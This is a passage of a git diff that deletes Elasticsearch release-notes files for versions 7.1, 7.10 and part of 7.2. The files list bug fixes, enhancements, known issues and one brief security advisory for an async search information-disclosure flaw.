-* Upgrade to Lucene 8.0.0 GA {es-pull}39992[#39992] (issue: {es-issue}39640[#39640])
-
-Snapshot/Restore::
-* plugins/repository-gcs: Update google-cloud-storage/core to 1.59.0 {es-pull}39748[#39748] (issue: {es-issue}39366[#39366])
-
-Network::
-* Fix Netty Leaks by upgrading to 4.1.28 {es-pull}32511[#32511] (issue: {es-issue}32487[#32487])
-* Upgrade Netty 4.3.32.Final {es-pull}36102[#36102] (issue: {es-issue}35360[#35360])
-
-Machine Learning::
-* No need to add state doc mapping on job open in 7.x {es-pull}37759[#37759]
diff --git a/docs/reference/release-notes/7.1.asciidoc b/docs/reference/release-notes/7.1.asciidoc
deleted file mode 100644
index ea7d4ac2475..00000000000
--- a/docs/reference/release-notes/7.1.asciidoc
+++ /dev/null
@@ -1,77 +0,0 @@
-[[release-notes-7.1.1]]
-== {es} version 7.1.1
-
-Also see <<breaking-changes-7.1,Breaking changes in 7.1>>.
-
-[discrete]
-=== Known issues
-
-* Applying deletes or updates on an index after it has been shrunk may corrupt
-the index. In order to prevent this issue, it is recommended to stop shrinking
-read-write indices. For read-only indices, it is recommended to force-merge
-indices after shrinking, which significantly reduces the likeliness of this
-corruption in the case that deletes/updates would be applied by mistake. This
-bug is fixed in {es} 7.7 and later versions. More details can be found on the
-https://issues.apache.org/jira/browse/LUCENE-9300[corresponding issue].
-
-* Indices created in 6.x with <<date,`date`>> and <<date_nanos,`date_nanos`>> fields using formats
-that are incompatible with java.time patterns will cause parsing errors, incorrect date calculations or wrong search results.
-https://github.com/elastic/elasticsearch/pull/52555
-This is fixed in {es} 7.7 and later versions.
-
-[[bug-7.1.1]]
-[discrete]
-=== Bug fixes
-
-Distributed::
-* Avoid unnecessary persistence of retention leases {es-pull}42299[#42299]
-* Execute actions under permit in primary mode only {es-pull}42241[#42241] (issues: {es-issue}40386[#40386], {es-issue}41686[#41686])
-
-Infra/REST API::
-* Remove deprecated _source_exclude and _source_include from get API spec {es-pull}42188[#42188]
-
-[[release-notes-7.1.0]]
-== {es} version 7.1.0
-
-Also see <<breaking-changes-7.1,Breaking changes in 7.1>>.
-
-[[enhancement-7.1.0]]
-[discrete]
-=== Enhancements
-
-Security::
-* Moved some security features to basic. See {ref-bare/release-highlights-7.1.0.html[7.1.0 Release highlights].
-
-Authentication::
-* Log warning when unlicensed realms are skipped {es-pull}41778[#41778]
-
-Infra/Settings::
-* Drop distinction in entries for keystore {es-pull}41701[#41701]
-
-
-[[bug-7.1.0]]
-[discrete]
-=== Bug fixes
-
-Cluster Coordination::
-* Handle serialization exceptions during publication {es-pull}41781[#41781] (issue: {es-issue}41090[#41090])
-
-Infra/Core::
-* Fix fractional seconds for strict_date_optional_time {es-pull}41871[#41871] (issue: {es-issue}41633[#41633])
-
-Network::
-* Enforce transport TLS on Basic with Security {es-pull}42150[#42150]
-
-Reindex::
-* Allow reindexing into write alias {es-pull}41677[#41677] (issue: {es-issue}41667[#41667])
-
-SQL::
-* SQL: Fix issue regarding INTERVAL * number {es-pull}42014[#42014] (issue: {es-issue}41239[#41239])
-* SQL: Remove CircuitBreaker from parser {es-pull}41835[#41835] (issue: {es-issue}41471[#41471])
-
-Search::
-* Fix IAE on cross_fields query introduced in 7.0.1 {es-pull}41938[#41938] (issues: {es-issue}41125[#41125], {es-issue}41934[#41934])
-
-
-
-
diff --git a/docs/reference/release-notes/7.10.asciidoc b/docs/reference/release-notes/7.10.asciidoc
deleted file mode 100644
index 0ac5a4510a5..00000000000
--- a/docs/reference/release-notes/7.10.asciidoc
+++ /dev/null
@@ -1,479 +0,0 @@
-[[release-notes-7.10.2]]
-== {es} version 7.10.2
-
-Also see <<breaking-changes-7.10,Breaking changes in 7.10>>.
-
-[discrete]
-[[security-updates-7.10.2]]
-=== Security updates
-
-* An information disclosure flaw was found in the {es} async search API.
-Users who execute an async search will store the HTTP headers.
-A user with the ability to read the `.tasks` index could obtain
-sensitive request headers of other users in the cluster.
-All versions of {es} between 7.7.0 and 7.10.1 are affected by this flaw.
-You must upgrade to {es} version 7.10.2 to obtain the fix.
-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22132[CVE-2021-22132]
-
-[[bug-7.10.2]]
-[float]
-=== Bug fixes
-
-EQL::
-* Fix early trimming of in-flight data {es-pull}66493[#66493]
-
-Engine::
-* Fix the earliest last modified age of translog issue. {es-pull}64753[#64753]
-* Fix the version and term field initialization error of NoOpResult {es-pull}66269[#66269] (issue: {es-issue}66267[#66267])
-
-Features/Data streams::
-* Allow more legit cases in Metadata.Builder.validateDataStreams {es-pull}65791[#65791]
-
-Features/Features::
-* Make FilterAllocationDecider totally ignore tier-based allocation settings {es-pull}67019[#67019] (issue: {es-issue}66679[#66679])
-
-Features/Ingest::
-* Fix whitespace as a separator in CSV processor {es-pull}67045[#67045] (issue: {es-issue}67013[#67013])
-
-Highlighting::
-* Fix bug where fvh fragments could be loaded from wrong doc {es-pull}65641[#65641] (issues: {es-issue}60179[#60179], {es-issue}65533[#65533])
-
-Features/ILM+SLM::
-* Create AllocationDeciders in the main method of the ILM step {es-pull}65037[#65037] (issue: {es-issue}64529[#64529])
-
-Infra/REST API::
-* Fix cat tasks api params in spec and handler {es-pull}66272[#66272] (issue: {es-issue}59493[#59493])
-* Mark Cat Tasks API as experimental in rest-api-spec {es-pull}66536[#66536] (issues: {es-issue}51628[#51628], {es-issue}65823[#65823])
-* Mark Task APIs as experimental in rest-api-spec {es-pull}65823[#65823] (issue: {es-issue}51628[#51628])
-
-Infra/Scripting::
-* Fix static inner class resolution in Painless {es-pull}67027[#67027] (issue: {es-issue}66823[#66823])
-
-Infra/Settings::
-* Correctly determine defaults of settings which depend on other settings {es-pull}65989[#65989] (issue: {es-issue}47890[#47890])
-* Do not interpret SecurityException in KeystoreAwareCommand {es-pull}65366[#65366]
-
-QL::
-* Handle IP type fields extraction with ignore_malformed property {es-pull}66622[#66622] (issue: {es-issue}66675[#66675])
-
-Machine Learning::
-* Change to only calculate model size on initial load to prevent slow cache promotions {es-pull}66451[#66451]
-
-Network::
-* Ensure notify when proxy connections disconnect {es-pull}65697[#65697] (issue: {es-issue}65443[#65443])
-* Fix AbstractClient#execute Listener Leak {es-pull}65415[#65415] (issue: {es-issue}65405[#65405])
-
-SQL::
-* Abort sorting in case of local agg sort queue overflow {es-pull}65687[#65687] (issue: {es-issue}65685[#65685])
-* Verify filter's condition type {es-pull}66268[#66268] (issue: {es-issue}66254[#66254])
-
-Search::
-* Fix regressions around nested hits and disabled _source {es-pull}66572[#66572] (issues: {es-issue}60494[#60494], {es-issue}66524[#66524])
-* Make sure shared source always represents the top-level root document {es-pull}66725[#66725] (issues: {es-issue}60494[#60494], {es-issue}66577[#66577])
-
-Security::
-* Store and use only internal security headers {es-pull}66365[#66365]
-
-Snapshot/Restore::
-* Also reroute after shard snapshot size fetch failure {es-pull}65436[#65436] (issues: {es-issue}61906[#61906], {es-issue}64372[#64372])
-
-
-[[release-notes-7.10.1]]
-== {es} version 7.10.1
-
-Also see <<breaking-changes-7.10,Breaking changes in 7.10>>.
-
-[[known-issues-7.10.1]]
-[discrete]
-=== Known issues
-* In {es} 7.10.0 there were several regressions around loading nested documents. These have been addressed in {es} 7.10.2.
-** With multiple layers of nested `inner_hits`, we can fail to load the _source. ({es-issue}66577[#66577])
-** With nested `inner_hits`, the fast vector highlighter may load snippets from the wrong document. ({es-issue}65533[#65533])
-** When _source is disabled, we can fail load nested `inner_hits` and `top_hits`. ({es-issue}66572[#66572])
-
-[[bug-7.10.1]]
-[float]
-=== Bug fixes
-
-Allocation::
-* Fix NPE in toString of FailedShard {es-pull}64770[#64770]
-
-CCR::
-* Stop renew retention leases when follow task fails {es-pull}65168[#65168]
-
-CRUD::
-* Propogate rejected execution during bulk actions {es-pull}64842[#64842] (issue: {es-issue}64450[#64450])
-
-Cluster Coordination::
-* Fix up roles after rolling upgrade {es-pull}64693[#64693] (issue: {es-issue}62840[#62840])
-
-EQL::
-* Allow null tiebreakers inside ordinals/sequences {es-pull}65033[#65033] (issue: {es-issue}64706[#64706])
-* Fix "resource not found" exception on existing EQL async search {es-pull}65167[#65167] (issue: {es-issue}65108[#65108])
-* Fix aggressive/incorrect until policy in sequences {es-pull}65156[#65156]
-
-Features/ILM+SLM::
-* Fix SetSingleNodeAllocateStep for data tier deployments {es-pull}64679[#64679]
-
-Features/Watcher::
-* Watcher understands hidden expand wildcard value {es-pull}65332[#65332] (issue: {es-issue}65148[#65148])
-
-Geo::
-* Fix handling of null values in geo_point {es-pull}65307[#65307] (issue: {es-issue}65306[#65306])
-
-Infra/Core::
-* Fix date math hidden index resolution {es-pull}65236[#65236] (issue: {es-issue}65157[#65157])
-
-Infra/Scripting::
-* Fix Painless casting bug in compound assignment for String {es-pull}65329[#65329]
-* Revert null-safe behavior to error at run-time instead of compile-time {es-pull}65099[#65099] (issue: {es-issue}65098[#65098])
-
-Machine Learning::
-* Extract dependent variable's mapping correctly in case of a multi-field {es-pull}63813[#63813]
-* Fix bug with data frame analytics classification test data sampling when using custom feature processors {es-pull}64727[#64727]
-* Fix custom feature processor extraction bugs around boolean fields and custom one_hot feature output order {es-pull}64937[#64937]
-* Protect against stack overflow while loading data frame analytics data {es-pull}64947[#64947]
-* Fix a bug where the peak_model_bytes value of the model_size_stats object was not restored from the anomaly detector job snapshots {ml-pull}1572[#1572]
-
-Mapping::
-* Correctly serialize search-as-you-type analyzer {es-pull}65359[#65359] (issue: {es-issue}65319[#65319])
-* Unused boost parameter should not throw mapping exception {es-pull}64999[#64999] (issue: {es-issue}64982[#64982])
-
-SQL::
-* Fix the return type problem in the sign function {es-pull}64845[#64845]
-
-Search::
-* Fix cacheability of custom LongValuesSource in TermsSetQueryBuilder {es-pull}65367[#65367]
-* SourceValueFetcher should check all possible source fields {es-pull}65375[#65375]
-
-Snapshot/Restore::
-* Fix Broken Error Handling in CacheFile#acquire {es-pull}65342[#65342] (issue: {es-issue}65302[#65302])
-* Fix Two Snapshot Clone State Machine Bugs {es-pull}65042[#65042]
-
-
-[[release-notes-7.10.0]]
-== {es} version 7.10.0
-
-Also see <<breaking-changes-7.10,Breaking changes in 7.10>>.
-
-[[known-issues-7.10.0]]
-[discrete]
-=== Known issues
-
-* SQL: If a `WHERE` clause contains at least two relational operators joined by
-`AND`, of which one is a comparison (`<=`, `<`, `>=`, `>`) and another one is
-an inequality (`!=`, `<>`), both against literals or foldable expressions, the
-inequality will be ignored. The workaround is to substitute the inequality
-with a `NOT IN` operator.
-+
-We have fixed this issue in {es} 7.10.1 and later versions. For more details,
-see {es-issue}65488[#65488].
-
-* There were several regressions around loading nested documents. These have been addressed in {es} 7.10.2.
-** With multiple layers of nested `inner_hits`, we can fail to load the _source. ({es-issue}66577[#66577])
-** With nested `inner_hits`, the fast vector highlighter may load snippets from the wrong document. ({es-issue}65533[#65533])
-** When _source is disabled, we can fail load nested `inner_hits` and `top_hits`. ({es-issue}66572[#66572])
-
-[[breaking-7.10.0]]
-[float]
-=== Breaking changes
-
-Authentication::
-* API key name should always be required for creation {es-pull}59836[#59836] (issue: {es-issue}59484[#59484])
-
-Network::
-* Set specific keepalive options by default on supported platforms {es-pull}59278[#59278]
-
-
-
-[[breaking-java-7.10.0]]
-[float]
-=== Breaking Java changes
-
-Machine Learning::
-* Deprecate allow_no_jobs and allow_no_datafeeds in favor of allow_no_match {es-pull}60601[#60601] (issue: {es-issue}60642[#60642])
-
-Mapping::
-* Pass SearchLookup supplier through to fielddataBuilder {es-pull}61430[#61430] (issue: {es-issue}59332[#59332])
-
-
-
-[[deprecation-7.10.0]]
-[float]
-=== Deprecations
-
-Cluster Coordination::
-* Deprecate and ignore join timeout {es-pull}60872[#60872] (issue: {es-issue}60873[#60873])
-
-Machine learning::
-* Renames \*/inference* APIs to \*/trained_models* {es-pull}63097[#63097]
-
-[[feature-7.10.0]]
-[float]
-=== New features
-
-Aggregations::
-* Add rate aggregation {es-pull}61369[#61369] (issue: {es-issue}60674[#60674])
-
-Features/Features::
-* Add data tiers (hot, warm, cold, frozen) as custom node roles {es-pull}60994[#60994] (issue: {es-issue}60848[#60848])
-* Allocate newly created indices on data_hot tier nodes {es-pull}61342[#61342] (issue: {es-issue}60848[#60848])
-
-Features/ILM+SLM::
-* ILM migrate data between tiers {es-pull}61377[#61377] (issue: {es-issue}60848[#60848])
-* ILM: add force-merge step to searchable snapshots action {es-pull}60819[#60819] (issues: {es-issue}53488[#53488], {es-issue}56215[#56215])
-
-Machine Learning::
-* Implement AucRoc metric for classification {es-pull}60502[#60502] (issue: {es-issue}62160[#62160])
-
-Mapping::
-* Introduce 64-bit unsigned long field type {es-pull}60050[#60050] (issue: {es-issue}32434[#32434])
-
-Search::
-* Add search 'fields' option to support high-level field retrieval {es-pull}60100[#60100] (issues: {es-issue}49028[#49028], {es-issue}55363[#55363])
-
-
-
-[[enhancement-7.10.0]]
-[float]
-=== Enhancements
-
-Aggregations::
-* Adds hard_bounds to histogram aggregations {es-pull}59175[#59175] (issue: {es-issue}50109[#50109])
-* Allocate slightly less per bucket {es-pull}59740[#59740]
-* Improve reduction of terms aggregations {es-pull}61779[#61779] (issue: {es-issue}51857[#51857])
-* Speed up date_histogram by precomputing ranges {es-pull}61467[#61467]
-
-Analysis::
-* Support ignore_keywords flag for word delimiter graph token filter {es-pull}59563[#59563] (issue: {es-issue}59491[#59491])
-
-Authentication::
-* Cache API key doc to reduce traffic to the security index {es-pull}59376[#59376] (issues: {es-issue}53940[#53940], {es-issue}55836[#55836])
-* Include authentication type for the authenticate response {es-pull}61247[#61247] (issue: {es-issue}61130[#61130])
-* Oidc additional client auth types {es-pull}58708[#58708]
-* Warn about unlicensed realms if no auth token can be extracted {es-pull}61402[#61402] (issue: {es-issue}61090[#61090])
-
-Authorization::
-* Add DEBUG logging for undefined role mapping field {es-pull}61246[#61246] (issue: {es-issue}48562[#48562])
-* Add more context to index access denied errors {es-pull}60357[#60357] (issue: {es-issue}42166[#42166])
-
-CRUD::
-* Add configured indexing memory limit to node stats {es-pull}60342[#60342]
-* Dedicated threadpool for system index writes {es-pull}61655[#61655]
-
-Cluster Coordination::
-* Add more useful toString on cluster state observers {es-pull}60277[#60277]
-* Fail invalid incremental cluster state writes {es-pull}61030[#61030]
-* Provide option to allow writes when master is down {es-pull}60605[#60605]
-
-Distributed::
-* Detect noop of update index settings {es-pull}61348[#61348]
-* Thread safe clean up of LocalNodeModeListeners {es-pull}59932[#59932] (issue: {es-issue}59801[#59801])
-
-Features/CAT APIs::
-* Adding Hit counts and Miss counts for QueryCache exposed through REST API {es-pull}60114[#60114] (issue: {es-issue}48645[#48645])
-
-Features/Features::
-* Add aggregation list to node info {es-pull}60074[#60074] (issue: {es-issue}52057[#52057])
-* Adding new `require_alias` option to indexing requests {es-pull}58917[#58917] (issue: {es-issue}55267[#55267])
-
-Features/ILM+SLM::
-* Move internal index templates to composable templates {es-pull}61457[#61457]
-
-Features/Ingest::
-* Add network from MaxMind Geo ASN database {es-pull}61676[#61676]
-* Allow_duplicates option for append processor {es-pull}61916[#61916] (issue: {es-issue}57543[#57543])
-* Configurable output format for date processor {es-pull}61324[#61324] (issue: {es-issue}42523[#42523])
-* Enhance the ingest node simulate verbose output  {es-pull}60433[#60433] (issue: {es-issue}56004[#56004])
-* Per processor description for verbose simulate {es-pull}58207[#58207] (issue: {es-issue}57906[#57906])
-* Preserve grok pattern ordering and add sort option {es-pull}61671[#61671] (issue: {es-issue}40819[#40819])
-
-Features/Java High Level REST Client::
-* HLRC: UpdateByQuery API with wait_for_completion being false {es-pull}58552[#58552] (issues: {es-issue}35202[#35202], {es-issue}46350[#46350])
-
-Infra/Core::
-* Add logstash system index APIs {es-pull}53350[#53350]
-* Deprecate REST access to System Indices {es-pull}60945[#60945]
-* Speed up Compression Logic by Pooling Resources {es-pull}61358[#61358]
-* System index reads in separate threadpool {es-pull}57936[#57936] (issues: {es-issue}37867[#37867], {es-issue}50251[#50251])
-
-Infra/Logging::
-* Do not create two loggers for DeprecationLogger {es-pull}58435[#58435]
-* Header warning logging refactoring {es-pull}55941[#55941] (issues: {es-issue}52369[#52369], {es-issue}55699[#55699])
-* Write deprecation logs to a data stream {es-pull}61484[#61484] (issues: {es-issue}46106[#46106], {es-issue}61474[#61474])
-
-Infra/Packaging::
-* Add UBI docker builds {es-pull}60742[#60742]
-* Upgrade Centos version in Dockerfile to 8 {es-pull}59019[#59019]
-
-Infra/Resiliency::
-* Remove node from cluster when node locks broken {es-pull}61400[#61400] (issues: {es-issue}52680[#52680], {es-issue}58373[#58373])
-
-Infra/Scripting::
-* Augment String with sha1 and sha256 {es-pull}59671[#59671] (issue: {es-issue}59633[#59633])
-* Converts casting and def support {es-pull}61350[#61350] (issue: {es-issue}59647[#59647])
-
-Machine Learning::
-* Add a "verbose" option to the data frame analytics stats endpoint {es-pull}59589[#59589] (issue: {es-issue}59125[#59125])
-* Add new include flag to get trained models API for model training metadata {es-pull}61922[#61922]
-* Add new feature_processors field for data frame analytics {es-pull}60528[#60528] (issue: {es-issue}59327[#59327])
-* Add new n_gram_encoding custom processor {es-pull}61578[#61578]
-* During nightly maintenance delete jobs whose original deletion tasks were lost {es-pull}60121[#60121] (issue: {es-issue}42840[#42840])
-* Suspend persistence of trained model stats when ML upgrade mode is enabled {es-pull}61143[#61143]
-* Calculate total feature importance to store with model metadata {ml-pull}1387[#1387]
-* Change outlier detection feature_influence format to array with nested objects {ml-pull}1475[#1475], {es-pull}62068[#62068]
-* Add timeouts to named pipe connections {ml-pull}1514[#1514], {es-pull}62993[#62993] (issue: {ml-issue}1504[#1504])
-
-Mapping::
-* Add field type for version strings {es-pull}59773[#59773] (issue: {es-issue}48878[#48878])
-* Allow [null] values in [null_value] {es-pull}61798[#61798] (issues: {es-issue}7978[#7978], {es-issue}58823[#58823])
-* Allow metadata fields in the _source {es-pull}61590[#61590] (issue: {es-issue}58339[#58339])
-
-Network::
-* Improve deserialization failure logging {es-pull}60577[#60577] (issue: {es-issue}38939[#38939])
-* Log and track open/close of transport connections {es-pull}60297[#60297]
-
-Performance::
-* Speed up empty highlighting many fields {es-pull}61860[#61860]
-
-SQL::
-* Add option to provide the delimiter for the CSV format {es-pull}59907[#59907] (issue: {es-issue}41634[#41634])
-* Implement DATE_PARSE function for parsing strings into DATE values {es-pull}57391[#57391] (issue: {es-issue}54962[#54962])
-* Implement FORMAT function {es-pull}55454[#55454] (issue: {es-issue}54965[#54965])
-
-Search::
-* Avoid reloading _source for every inner hit {es-pull}60494[#60494] (issue: {es-issue}32818[#32818])
-* Cancel multisearch when http connection closed {es-pull}61399[#61399]
-* Enable cancellation for msearch requests {es-pull}61337[#61337]
-* Executes incremental reduce in the search thread pool {es-pull}58461[#58461] (issues: {es-issue}51857[#51857], {es-issue}53411[#53411])
-* Introduce point in time APIs in x-pack basic {es-pull}61062[#61062] (issues: {es-issue}26472[#26472], {es-issue}46523[#46523])
-* ParametrizedFieldMapper to run validators against default value {es-pull}60042[#60042] (issue: {es-issue}59332[#59332])
-* Add case insensitive flag for "term" family of queries {es-pull}61596[#61596] (issue: {es-issue}61546[#61546])
-* Add case insensitive support for regex queries {es-pull}59441[#59441]
-* Tweak toXContent implementation of ParametrizedFieldMapper {es-pull}59968[#59968]
-* Implement fields value fetching for the `text`, `search_as_you_type` and `token_count` field types {es-pull}63515[#63515]
-* Make term/prefix/wildcard/regex query parsing more lenient, with respect to the `case_insensitive` flag {es-pull}63926[#63926] (issue: {es-issue}63893[#63893])
-
-Snapshot/Restore::
-* Add repositories metering API {es-pull}60371[#60371]
-* Clone Snapshot API {es-pull}61839[#61839]
-* Determine shard size before allocating shards recovering from snapshots {es-pull}61906[#61906]
-* Introduce index based snapshot blob cache for Searchable Snapshots {es-pull}60522[#60522]
-* Validate snapshot UUID during restore {es-pull}59601[#59601] (issue: {es-issue}50999[#50999])
-
-Store::
-* Report more details of unobtainable ShardLock {es-pull}61255[#61255] (issue: {es-issue}38807[#38807])
-
-
-Transform::
-* Add support for missing bucket {es-pull}59591[#59591] (issues: {es-issue}42941[#42941], {es-issue}55102[#55102])
-
-
-
-[[bug-7.10.0]]
-[float]
-=== Bug fixes
-
-Aggregations::
-* Fix AOOBE when setting min_doc_count to 0 in significant_terms {es-pull}60823[#60823] (issues: {es-issue}60683[#60683], {es-issue}60824[#60824])
-* Make sure non-collecting aggs include sub-aggs {es-pull}64214[#64214] (issue: {es-issue}64142[#64142])
-* Composite aggregation must check live docs when the index is sorted {es-pull}63864[#63864]
-* Fix broken parent and child aggregator {es-pull}63811[#63811]
-
-Allocation::
-* Fix scheduling of ClusterInfoService#refresh {es-pull}59880[#59880]
-
-Authorization::
-* Fix doc-update interceptor for indices with DLS and FLS {es-pull}61516[#61516]
-* Report anonymous roles in authenticate response {es-pull}61355[#61355] (issues: {es-issue}47195[#47195], {es-issue}53453[#53453], {es-issue}57711[#57711], {es-issue}57853[#57853])
-* Add view_index_metadata privilege over metricbeat-* for monitoring agent {es-pull}63750[#63750] (issue: {es-issue}63750[#63750])
-
-CRUD::
-* Propagate forceExecution when acquiring permit {es-pull}60634[#60634] (issue: {es-issue}60359[#60359])
-
-Cluster Coordination::
-* Reduce allocations when persisting cluster state {es-pull}61159[#61159]
-
-Distributed::
-* Fix cluster health rest api wait_for_no_initializing_shards bug {es-pull}58379[#58379]
-* Fix cluster health when closing {es-pull}61709[#61709]
-
-Engine::
-* Fix estimate size of translog operations {es-pull}59206[#59206]
-
-Features/ILM+SLM::
-* Fix ILM history index settings {es-pull}61880[#61880] (issues: {es-issue}61457[#61457], {es-issue}61863[#61863])
-* Ensure cancelled SLM jobs do not continue to run {es-pull}63762[#63762] (issue: {es-issue}63754[#63754])
-
-Features/Java Low Level REST Client::
-* Handle non-default port in Cloud-Id {es-pull}61581[#61581]
-
-Features/Stats::
-* Remove sporadic min/max usage estimates from stats {es-pull}59755[#59755]
-
-Features/Watcher::
-* Correct the query dsl for watching elasticsearch version {es-pull}58321[#58321] (issue: {es-issue}58261[#58261])
-* Fix passing params to template or script failed in watcher {es-pull}58559[#58559] (issue: {es-issue}57625[#57625])
-
-Geo::
-* Fix wrong NaN comparison  {es-pull}61795[#61795] (issue: {es-issue}48207[#48207])
-
-Infra/Core::
-* Throws IndexNotFoundException in TransportGetAction for unknown System indices {es-pull}61785[#61785] (issue: {es-issue}57936[#57936])
-* Handle missing logstash index exceptions {es-pull}63698[#63698]
-* XPack Usage API should run on MANAGEMENT threads {es-pull}64160[#64160]
-
-Infra/Packaging::
-* Allow running the Docker image with a non-default group {es-pull}61194[#61194] (issue: {es-issue}60864[#60864])
-* Set the systemd initial timeout to 75 seconds {es-pull}60345[#60345] (issue: {es-issue}60140[#60140])
-
-Machine Learning::
-* Adjusting inference processor to support foreach usage {es-pull}60915[#60915] (issue: {es-issue}60867[#60867])
-* Get data frame analytics jobs stats API can return multiple responses if more than one error {es-pull}60900[#60900] (issue: {es-issue}60876[#60876])
-* Do not mark the data frame analytics job as FAILED when a failure occurs after the node is shutdown {es-pull}61331[#61331] (issue: {es-issue}60596[#60596])
-* Improve handling of exception while starting data frame analytics process {es-pull}61838[#61838] (issue: {es-issue}61704[#61704])
-* Fix progress on resume after final training has completed for classification and regression. Previously, progress was shown stuck at zero for final training. {ml-pull}1443[#1443]
-* Avoid potential "Failed to compute quantile" and "No values added to quantile sketch" log errors training regression and classification models if there are features with mostly missing values {ml-pull}1500[#1500]
-* Correct the anomaly detection job model state `min_version` {ml-pull}1546[#1546]
-
-Mapping::
-* Improve 'ignore_malformed' handling for dates {es-pull}60211[#60211] (issue: {es-issue}52634[#52634])
-
-Network::
-* Let `isInetAddress` utility understand the scope ID on ipv6 {es-pull}60172[#60172] (issue: {es-issue}60115[#60115])
-* Suppress noisy SSL exceptions {es-pull}61359[#61359]
-
-Search::
-* Allows nanosecond resolution in search_after {es-pull}60328[#60328] (issue: {es-issue}52424[#52424])
-* Consolidate validation for 'docvalue_fields' {es-pull}59473[#59473]
-* Correct how field retrieval handles multifields and copy_to {es-pull}61309[#61309] (issue: {es-issue}61033[#61033])
-* Apply boost only once for distance_feature query {es-pull}63767[#63767]
-* Fixed NullPointerException in `significant_text` aggregation when field does not exist {es-pull}64144[#64144] (issue: {es-issue}64045[#64045])
-* Fix async search to retry updates on version conflict {es-pull}63652[#63652] (issue: {es-issue}63213[#63213])
-* Fix sorted query when date_nanos is used as the numeric_type {es-pull}64183[#64183] (issue: {es-issue}63719[#63719])
-
-Snapshot/Restore::
-* Avoid listener call under SparseFileTracker#mutex {es-pull}61626[#61626] (issue: {es-issue}61520[#61520])
-* Ensure repo not in use for wildcard repo deletes {es-pull}60947[#60947]
-* Fix Test Failure in testCorrectCountsForDoneShards {es-pull}60254[#60254] (issue: {es-issue}60247[#60247])
-* Minimize cache file locking during prewarming {es-pull}61837[#61837] (issue: {es-issue}58658[#58658])
-* Prevent snapshots to be mounted as system indices {es-pull}61517[#61517] (issue: {es-issue}60522[#60522])
-* Make Searchable Snapshot's CacheFile Lock less {es-pull}63911[#63911] (issue: {es-issue}63586[#63586])
-* Don't Generate an Index Setting History UUID unless it's supported {es-pull}64213[#64213] (issue: {es-issue}64152[#64152])
-
-SQL::
-* Allow unescaped wildcard (*) in LIKE pattern {es-pull}63428[#63428] (issue: {es-issue}55108[#55108])
-* Validate integer paramete in string functions {es-pull}63728[#63728] (issue: {es-issue}58923[#58923])
-* Remove filter from field_caps requests {es-pull}63840[#63840] (issue: {es-issue}63832[#63832])
-
-
-
-[[upgrade-7.10.0]]
-[discrete]
-=== Upgrades
-
-Infra/Packaging::
-* Upgrade bundled JDK to 15.0.1 and switch to AdoptOpenJDK {es-pull}64253[#64253]
-
-Store::
-* Upgrade to Lucene-8.7.0 {es-pull}64532[#64532]
diff --git a/docs/reference/release-notes/7.2.asciidoc b/docs/reference/release-notes/7.2.asciidoc
deleted file mode 100644
index a980e370cdd..00000000000
--- a/docs/reference/release-notes/7.2.asciidoc
+++ /dev/null
@@ -1,576 +0,0 @@
-[[release-notes-7.2.1]]
-== {es} version 7.2.1
-
-Also see <<breaking-changes-7.2,Breaking changes in 7.2>>.
-
-[[enhancement-7.2.1]]
-[discrete]
-=== Enhancements
-
-Infra/Core::
-* Add default CLI JVM options {es-pull}44545[#44545] (issue: {es-issue}42021[#42021])
-
-Infra/Plugins::
-* Do not checksum all bytes at once in plugin install {es-pull}44649[#44649] (issue: {es-issue}44545[#44545])
-
-Machine Learning::
-* Improve message when native controller cannot connect {es-pull}43565[#43565] (issue: {es-issue}42341[#42341])
-* Introduce a setting for the process connect timeout {es-pull}43234[#43234]
-
-[[bug-7.2.1]]
-[discrete]
-=== Bug fixes
-
-Analysis::
-* Issue deprecation warnings for preconfigured delimited_payload_filter {es-pull}43684[#43684] (issues: {es-issue}26625[#26625], {es-issue}43568[#43568])
-
-Authentication::
-* Fix credential encoding for OIDC token request {es-pull}43808[#43808] (issue: {es-issue}43709[#43709])
-
-Data Frame::
-* Reorder format priorities in dest mapping {es-pull}43602[#43602]
-* Adjust error message {es-pull}43455[#43455]
-* Size the GET stats search by number of Ids requested {es-pull}43206[#43206] (issue: {es-issue}43203[#43203])
-
-Distributed::
-* Fix DefaultShardOperationFailedException subclass xcontent serialization {es-pull}43435[#43435] (issue: {es-issue}43423[#43423])
-
-Engine::
-* AsyncIOProcessor preserve thread context {es-pull}43729[#43729]
-
-Features/CAT APIs::
-* Fix indices shown in _cat/indices {es-pull}43286[#43286] (issues: {es-issue}33888[#33888], {es-issue}38824[#38824], {es-issue}39933[#39933])
-
-Features/ILM::
-* Account for node versions during allocation in ILM Shrink {es-pull}43300[#43300] (issue: {es-issue}41879[#41879])
-
-Features/Indices APIs::
-* Check shard limit after applying index templates {es-pull}44619[#44619] (issues: {es-issue}34021[#34021], {es-issue}44567[#44567], {es-issue}44619[#44619])
-* Validate index settings after applying templates {es-pull}44612[#44612] (issues: {es-issue}34021[#34021], {es-issue}44567[#44567])
-* Prevent NullPointerException in TransportRolloverAction {es-pull}43353[#43353] (issue: {es-issue}43296[#43296])
-
-Infra/Packaging::
-* Restore setting up temp dir for windows service {es-pull}44541[#44541]
-* Fix the bundled jdk flag to be passed through windows startup {es-pull}43502[#43502]
-
-Machine Learning::
-* Fix datafeed checks when a concrete remote index is present {es-pull}43923[#43923]
-* Don't persist model state at the end of lookback if the lookback did not generate any input {ml-pull}527[#527] (issue: {ml-issue}519[#519])
-* Don't write model size stats when job is closed without any input {ml-pull}516[#516] (issue: {ml-issue}394[#394])
-
-Mapping::
-* Prevent types deprecation warning for indices.exists requests {es-pull}43963[#43963] (issue: {es-issue}43905[#43905])
-* Add include_type_name in indices.exitst REST API spec {es-pull}43910[#43910] (issue: {es-issue}43905[#43905])
-* Fix index_prefix sub field name on nested text fields {es-pull}43862[#43862] (issue: {es-issue}43741[#43741])
-
-Network::
-* Reconnect remote cluster when seeds are changed {es-pull}43379[#43379] (issue: {es-issue}37799[#37799])
-
-SQL::
-* Fix NPE in case of subsequent scrolled requests for a CSV/TSV formatted response {es-pull}43365[#43365] (issue: {es-issue}43327[#43327])
-* Increase hard limit for sorting on aggregates {es-pull}43220[#43220] (issue: {es-issue}43168[#43168])
-
-Search::
-* Fix wrong logic in `match_phrase` query with multi-word synonyms {es-pull}43941[#43941] (issue: {es-issue}43308[#43308])
-* Fix UOE on search requests that match a sparse role query {es-pull}43668[#43668] (issue: {es-issue}42857[#42857])
-* Fix propagation of enablePositionIncrements in QueryStringQueryBuilder {es-pull}43578[#43578] (issue: {es-issue}43574[#43574])
-* Fix round up of date range without rounding {es-pull}43303[#43303] (issue: {es-issue}43277[#43277])
-
-Security::
